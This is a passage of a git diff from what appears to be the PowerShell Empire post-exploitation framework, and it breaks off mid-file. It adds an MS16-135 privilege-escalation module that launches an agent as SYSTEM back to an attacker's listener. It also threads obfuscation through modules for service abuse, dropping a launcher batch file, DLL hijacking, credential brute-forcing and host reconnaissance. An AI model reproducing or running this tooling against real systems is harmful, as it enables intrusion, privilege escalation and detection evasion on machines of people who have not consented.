scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/privesc/ms16-135.py b/lib/modules/powershell/privesc/ms16-135.py new file mode 100644 index 000000000..b07a35212 --- /dev/null +++ b/lib/modules/powershell/privesc/ms16-135.py @@ -0,0 +1,105 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Invoke-MS16135', + + 'Author': ['@TinySecEx', '@FuzzySec', 'ThePirateWhoSmellsOfSunflowers (github)'], + + 'Description': ('Spawns a new Listener as SYSTEM by' + ' leveraging the MS16-135 local exploit. This exploit is for x64 only' + ' and only works on unlocked session.' + ' Note: the exploit performs fast windows switching, victim\'s desktop' + ' may flash. A named pipe is also created.' + ' Thus, opsec is not guaranteed'), + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : False, + + 'Language' : 'powershell', + + 'MinLanguageVersion' : '2', + + 'Comments': [ + 'Credit to TinySec (@TinySecEx) for the initial PoC and', + 'to Ruben Boonen (@FuzzySec) for PowerShell PoC', + 'https://github.com/tinysec/public/tree/master/CVE-2016-7255', + 'https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135', + 'https://security.googleblog.com/2016/10/disclosing-vulnerabilities-to-protect.html' + ] + } + + self.options = { + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Listener' : { + 'Description' : 'Listener to use.', + 'Required' : True, + 'Value' : '' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + } + } + + self.mainMenu = mainMenu + + if params: + for param in params: + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-MS16135.ps1" + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + script = moduleCode + + # generate the launcher code without base64 encoding + l = self.mainMenu.stagers.stagers['multi/launcher'] + l.options['Listener']['Value'] = self.options['Listener']['Value'] + l.options['UserAgent']['Value'] = self.options['UserAgent']['Value'] + l.options['Proxy']['Value'] = self.options['Proxy']['Value'] + l.options['ProxyCreds']['Value'] = self.options['ProxyCreds']['Value'] + l.options['Base64']['Value'] = 'False' + launcherCode = l.generate() + + # need to escape characters + launcherCode = launcherCode.replace("`", "``").replace("$", "`$").replace("\"","'") + + script += 'Invoke-MS16135 -Command "' + launcherCode + '"' + script += ';`nInvoke-MS16135 completed.' + + return script diff --git a/lib/modules/powershell/privesc/powerup/allchecks.py b/lib/modules/powershell/privesc/powerup/allchecks.py index 1837971f2..d299c2d80 100644 --- a/lib/modules/powershell/privesc/powerup/allchecks.py +++ b/lib/modules/powershell/privesc/powerup/allchecks.py @@ -50,13 +50,15 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerup.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/PowerUp.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -70,17 +72,19 @@ def generate(self): # script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) script = moduleCode - script += moduleName + " " + scriptEnd = ';' + moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - - script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + scriptEnd += " -" + str(option) + " " + str(values['Value']) + scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/privesc/powerup/find_dllhijack.py b/lib/modules/powershell/privesc/powerup/find_dllhijack.py index b00048e06..190f4212a 100644 --- a/lib/modules/powershell/privesc/powerup/find_dllhijack.py +++ b/lib/modules/powershell/privesc/powerup/find_dllhijack.py @@ -65,13 +65,15 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerup.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/PowerUp.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -85,17 +87,19 @@ def generate(self): # script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) script = moduleCode - script += moduleName + " " + scriptEnd = ';' + moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - - script += ' | ft -wrap | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + scriptEnd += " -" + str(option) + " " + str(values['Value']) + scriptEnd += ' | ft -wrap | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/privesc/powerup/service_exe_restore.py b/lib/modules/powershell/privesc/powerup/service_exe_restore.py index dae9a7244..5d3b979c8 100644 --- a/lib/modules/powershell/privesc/powerup/service_exe_restore.py +++ b/lib/modules/powershell/privesc/powerup/service_exe_restore.py @@ -60,13 +60,15 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerup.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/PowerUp.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -80,17 +82,19 @@ def generate(self): # script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) script = moduleCode - script += moduleName + " " + scriptEnd = ';' + moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - - script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + scriptEnd += " -" + str(option) + " " + str(values['Value']) + scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/privesc/powerup/service_exe_stager.py b/lib/modules/powershell/privesc/powerup/service_exe_stager.py index ce29035aa..c752eeefe 100644 --- a/lib/modules/powershell/privesc/powerup/service_exe_stager.py +++ b/lib/modules/powershell/privesc/powerup/service_exe_stager.py @@ -81,11 +81,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common powerup.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/PowerUp.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -115,15 +117,17 @@ def generate(self): # PowerShell code to write the launcher.bat out - script += "$tempLoc = \"$env:temp\\debug.bat\"" - script += "\n$batCode = @\"\n" + launcherCode + "\"@\n" - script += "$batCode | Out-File -Encoding ASCII $tempLoc ;\n" - script += "\"Launcher bat written to $tempLoc `n\";\n" + scriptEnd = ";$tempLoc = \"$env:temp\\debug.bat\"" + scriptEnd += "\n$batCode = @\"\n" + launcherCode + "\"@\n" + scriptEnd += "$batCode | Out-File -Encoding ASCII $tempLoc ;\n" + scriptEnd += "\"Launcher bat written to $tempLoc `n\";\n" if launcherCode == "": print helpers.color("[!] Error in launcher .bat generation.") return "" else: - script += "\nInstall-ServiceBinary -ServiceName \""+str(serviceName)+"\" -Command \"C:\\Windows\\System32\\cmd.exe /C $tempLoc\"" - + scriptEnd += "\nInstall-ServiceBinary -ServiceName \""+str(serviceName)+"\" -Command \"C:\\Windows\\System32\\cmd.exe /C $tempLoc\"" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/privesc/powerup/service_exe_useradd.py b/lib/modules/powershell/privesc/powerup/service_exe_useradd.py index 904d55e6f..f966dfe7e 100644 --- a/lib/modules/powershell/privesc/powerup/service_exe_useradd.py +++ b/lib/modules/powershell/privesc/powerup/service_exe_useradd.py @@ -71,13 +71,15 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerup.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/PowerUp.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -91,17 +93,19 @@ def generate(self): # script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) script = moduleCode - script += moduleName + " " + scriptEnd = ';' + moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - - script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + scriptEnd += " -" + str(option) + " " + str(values['Value']) + scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/privesc/powerup/service_stager.py b/lib/modules/powershell/privesc/powerup/service_stager.py index a1c5721f2..1585cfdf3 100644 --- a/lib/modules/powershell/privesc/powerup/service_stager.py +++ b/lib/modules/powershell/privesc/powerup/service_stager.py @@ -75,13 +75,15 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerup.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/PowerUp.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -108,15 +110,17 @@ def generate(self): launcherCode = l.generate() # PowerShell code to write the launcher.bat out - script += "$tempLoc = \"$env:temp\\debug.bat\"" - script += "\n$batCode = @\"\n" + launcherCode + "\"@\n" - script += "$batCode | Out-File -Encoding ASCII $tempLoc ;\n" - script += "\"Launcher bat written to $tempLoc `n\";\n" + scriptEnd = ";$tempLoc = \"$env:temp\\debug.bat\"" + scriptEnd += "\n$batCode = @\"\n" + launcherCode + "\"@\n" + scriptEnd += "$batCode | Out-File -Encoding ASCII $tempLoc ;\n" + scriptEnd += "\"Launcher bat written to $tempLoc `n\";\n" if launcherCode == "": print helpers.color("[!] Error in launcher .bat generation.") return "" - script += "Invoke-ServiceAbuse -ServiceName \""+serviceName+"\" -Command \"C:\\Windows\\System32\\cmd.exe /C `\"$env:Temp\\debug.bat`\"\"" - + scriptEnd += "Invoke-ServiceAbuse -ServiceName \""+serviceName+"\" -Command \"C:\\Windows\\System32\\cmd.exe /C `\"$env:Temp\\debug.bat`\"\"" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/privesc/powerup/service_useradd.py b/lib/modules/powershell/privesc/powerup/service_useradd.py index 33bd2dfb6..df9701beb 100644 --- a/lib/modules/powershell/privesc/powerup/service_useradd.py +++ b/lib/modules/powershell/privesc/powerup/service_useradd.py @@ -71,13 +71,15 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerup.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/PowerUp.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -91,15 +93,17 @@ def generate(self): # script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) script = moduleCode - script += moduleName + " " + scriptEnd = ';' + moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - + scriptEnd += " -" + str(option) + " " + str(values['Value']) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/privesc/powerup/write_dllhijacker.py b/lib/modules/powershell/privesc/powerup/write_dllhijacker.py index 89f52f57f..e77e177ac 100644 --- a/lib/modules/powershell/privesc/powerup/write_dllhijacker.py +++ b/lib/modules/powershell/privesc/powerup/write_dllhijacker.py @@ -78,13 +78,15 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerup.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/PowerUp.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -98,7 +100,7 @@ def generate(self): # script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) script = moduleCode - script += moduleName + " " + scriptEnd = ';' + moduleName + " " # extract all of our options listenerName = self.options['Listener']['Value'] @@ -115,9 +117,11 @@ def generate(self): else: outFile = self.options['DllPath']['Value'] - script += " -Command \"%s\"" % (launcher) - script += " -DllPath %s" % (outFile) - - script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + scriptEnd += " -Command \"%s\"" % (launcher) + scriptEnd += " -DllPath %s" % (outFile) + scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/privesc/tater.py b/lib/modules/powershell/privesc/tater.py index 07ad58391..ff525c9c7 100644 --- a/lib/modules/powershell/privesc/tater.py +++ b/lib/modules/powershell/privesc/tater.py @@ -121,11 +121,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-Tater.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -138,19 +140,21 @@ def generate(self): script = moduleCode # set defaults for Empire - script += "\n" + 'Invoke-Tater -Tool "2" ' + scriptEnd = "\n" + 'Invoke-Tater -Tool "2" ' for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: if "," in str(values['Value']): quoted = '"' + str(values['Value']).replace(',', '","') + '"' - script += " -" + str(option) + " " + quoted + scriptEnd += " -" + str(option) + " " + quoted else: - script += " -" + str(option) + " \"" + str(values['Value']) + "\"" - + scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\"" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/recon/find_fruit.py b/lib/modules/powershell/recon/find_fruit.py index 61eee38b7..dbca367f4 100644 --- a/lib/modules/powershell/recon/find_fruit.py +++ b/lib/modules/powershell/recon/find_fruit.py @@ -91,11 +91,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/recon/Find-Fruit.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -107,7 +109,7 @@ def generate(self): script = moduleCode - script += "\nFind-Fruit" + scriptEnd = "\nFind-Fruit" showAll = self.options['ShowAll']['Value'].lower() @@ -116,13 +118,15 @@ def generate(self): if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) + scriptEnd += " -" + str(option) + " " + str(values['Value']) if showAll != "true": - script += " | ?{$_.Status -eq 'OK'}" - - script += " | Format-Table -AutoSize | Out-String" + scriptEnd += " | ?{$_.Status -eq 'OK'}" - return script \ No newline at end of file + scriptEnd += " | Format-Table -AutoSize | Out-String" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd + return script diff --git a/lib/modules/powershell/recon/get_sql_server_login_default_pw.py b/lib/modules/powershell/recon/get_sql_server_login_default_pw.py index 1b92afcbe..948c69a98 100644 --- a/lib/modules/powershell/recon/get_sql_server_login_default_pw.py +++ b/lib/modules/powershell/recon/get_sql_server_login_default_pw.py @@ -62,7 +62,7 @@ def __init__(self, mainMenu, params=[]): if option in self.options: self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): username = self.options['Username']['Value'] password = self.options['Password']['Value'] instance = self.options['Instance']['Value'] @@ -71,6 +71,9 @@ def generate(self): # read in the common module source code moduleSource = self.mainMenu.installPath + "data/module_source/recon/Get-SQLServerLoginDefaultPw.ps1" script = "" + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: with open(moduleSource, 'r') as source: script = source.read() @@ -80,19 +83,25 @@ def generate(self): if check_all: auxModuleSource = self.mainMenu.installPath + "data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1" + if obfuscate: + helpers.obfuscate_module(moduleSource=auxModuleSource, obfuscationCommand=obfuscationCommand) + auxModuleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: with open(auxModuleSource, 'r') as auxSource: auxScript = auxSource.read() script += " " + auxScript except: print helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource)) - script += " Get-SQLInstanceDomain " + scriptEnd = " Get-SQLInstanceDomain " if username != "": - script += " -Username "+username + scriptEnd += " -Username "+username if password != "": - script += " -Password "+password - script += " | Select Instance | " - script += " Get-SQLServerLoginDefaultPw" + scriptEnd += " -Password "+password + scriptEnd += " | Select Instance | " + scriptEnd += " Get-SQLServerLoginDefaultPw" if instance != "" and not check_all: - script += " -Instance "+instance + scriptEnd += " -Instance "+instance + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script \ No newline at end of file diff --git a/lib/modules/powershell/recon/http_login.py b/lib/modules/powershell/recon/http_login.py index c0ce49f86..b74f5b103 100644 --- a/lib/modules/powershell/recon/http_login.py +++ b/lib/modules/powershell/recon/http_login.py @@ -96,11 +96,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/recon/HTTP-Login.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -112,17 +114,19 @@ def generate(self): script = moduleCode - script += "\nTest-Login" + scriptEnd = "\nTest-Login" for option,values in self.options.iteritems(): if option.lower() != "agent" and option.lower() != "showall": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - - script += " | Out-String" + scriptEnd += " -" + str(option) + " " + str(values['Value']) - return script \ No newline at end of file + scriptEnd += " | Out-String" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd + return script diff --git a/lib/modules/powershell/situational_awareness/host/antivirusproduct.py b/lib/modules/powershell/situational_awareness/host/antivirusproduct.py index ef489a054..3d58f84c0 100644 --- a/lib/modules/powershell/situational_awareness/host/antivirusproduct.py +++ b/lib/modules/powershell/situational_awareness/host/antivirusproduct.py @@ -55,7 +55,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): script = """ function Get-AntiVirusProduct { @@ -100,5 +100,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(self.info["Name"])+' completed!";' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/host/computerdetails.py b/lib/modules/powershell/situational_awareness/host/computerdetails.py index 3b56f70fe..b82b11312 100644 --- a/lib/modules/powershell/situational_awareness/host/computerdetails.py +++ b/lib/modules/powershell/situational_awareness/host/computerdetails.py @@ -75,11 +75,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/host/Get-ComputerDetails.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -90,35 +92,55 @@ def generate(self): f.close() script = moduleCode + "\n\n" + scriptEnd = "" for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if option == "4624": - script += "$SecurityLog = Get-EventLog -LogName Security; $Filtered4624 = Find-4624Logons $SecurityLog;" - script += 'Write-Output "Event ID 4624 (Logon):`n";' - script += "Write-Output $Filtered4624.Values | Out-String" + scriptEnd += "$SecurityLog = Get-EventLog -LogName Security; $Filtered4624 = Find-4624Logons $SecurityLog;" + scriptEnd += 'Write-Output "Event ID 4624 (Logon):`n";' + scriptEnd += "Write-Output $Filtered4624.Values | Out-String" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script if option == "4648": - script += "$SecurityLog = Get-EventLog -LogName Security; $Filtered4648 = Find-4648Logons $SecurityLog;" - script += 'Write-Output "Event ID 4648 (Explicit Credential Logon):`n";' - script += "Write-Output $Filtered4648.Values | Out-String" + scriptEnd += "$SecurityLog = Get-EventLog -LogName Security; $Filtered4648 = Find-4648Logons $SecurityLog;" + scriptEnd += 'Write-Output "Event ID 4648 (Explicit Credential Logon):`n";' + scriptEnd += "Write-Output $Filtered4648.Values | Out-String" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script if option == "AppLocker": - script += "$AppLockerLogs = Find-AppLockerLogs;" - script += 'Write-Output "AppLocker Process Starts:`n";' - script += "Write-Output $AppLockerLogs.Values | Out-String" + scriptEnd += "$AppLockerLogs = Find-AppLockerLogs;" + scriptEnd += 'Write-Output "AppLocker Process Starts:`n";' + scriptEnd += "Write-Output $AppLockerLogs.Values | Out-String" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script if option == "PSLogs": - script += "$PSLogs = Find-PSScriptsInPSAppLog;" - script += 'Write-Output "PowerShell Script Executions:`n";' - script += "Write-Output $PSLogs.Values | Out-String" + scriptEnd += "$PSLogs = Find-PSScriptsInPSAppLog;" + scriptEnd += 'Write-Output "PowerShell Script Executions:`n";' + scriptEnd += "Write-Output $PSLogs.Values | Out-String" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script if option == "SavedRDP": - script += "$RdpClientData = Find-RDPClientConnections;" - script += 'Write-Output "RDP Client Data:`n";' - script += "Write-Output $RdpClientData.Values | Out-String" + scriptEnd += "$RdpClientData = Find-RDPClientConnections;" + scriptEnd += 'Write-Output "RDP Client Data:`n";' + scriptEnd += "Write-Output $RdpClientData.Values | Out-String" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script # if we get to this point, no switched were specified - return script + "Get-ComputerDetails -ToString" + scriptEnd += "Get-ComputerDetails -ToString" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd + return script diff --git a/lib/modules/powershell/situational_awareness/host/dnsserver.py b/lib/modules/powershell/situational_awareness/host/dnsserver.py index a0b5ead4c..acdcdae86 100644 --- a/lib/modules/powershell/situational_awareness/host/dnsserver.py +++ b/lib/modules/powershell/situational_awareness/host/dnsserver.py @@ -50,7 +50,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): script = """ @@ -100,5 +100,6 @@ def generate(self): script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/host/findtrusteddocuments.py b/lib/modules/powershell/situational_awareness/host/findtrusteddocuments.py index 11953988a..364d87767 100644 --- a/lib/modules/powershell/situational_awareness/host/findtrusteddocuments.py +++ b/lib/modules/powershell/situational_awareness/host/findtrusteddocuments.py @@ -57,7 +57,7 @@ def __init__(self, mainMenu, params=[]): # like listeners/agent handlers/etc. self.mainMenu = mainMenu - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # the PowerShell script itself, with the command to invoke # for execution appended to the end. Scripts should output @@ -67,6 +67,9 @@ def generate(self): # original reference script included in the comments. moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/host/Find-TrustedDocuments.ps1" + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -77,6 +80,8 @@ def generate(self): f.close() script = moduleCode - script += "Find-TrustedDocuments" - + scriptEnd = "Find-TrustedDocuments" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/situational_awareness/host/get_pathacl.py b/lib/modules/powershell/situational_awareness/host/get_pathacl.py index 4ed78aca1..00ab99a6b 100644 --- a/lib/modules/powershell/situational_awareness/host/get_pathacl.py +++ b/lib/modules/powershell/situational_awareness/host/get_pathacl.py @@ -55,7 +55,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -86,5 +86,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/host/get_proxy.py b/lib/modules/powershell/situational_awareness/host/get_proxy.py index 21e6e396d..71eecb61f 100644 --- a/lib/modules/powershell/situational_awareness/host/get_proxy.py +++ b/lib/modules/powershell/situational_awareness/host/get_proxy.py @@ -55,7 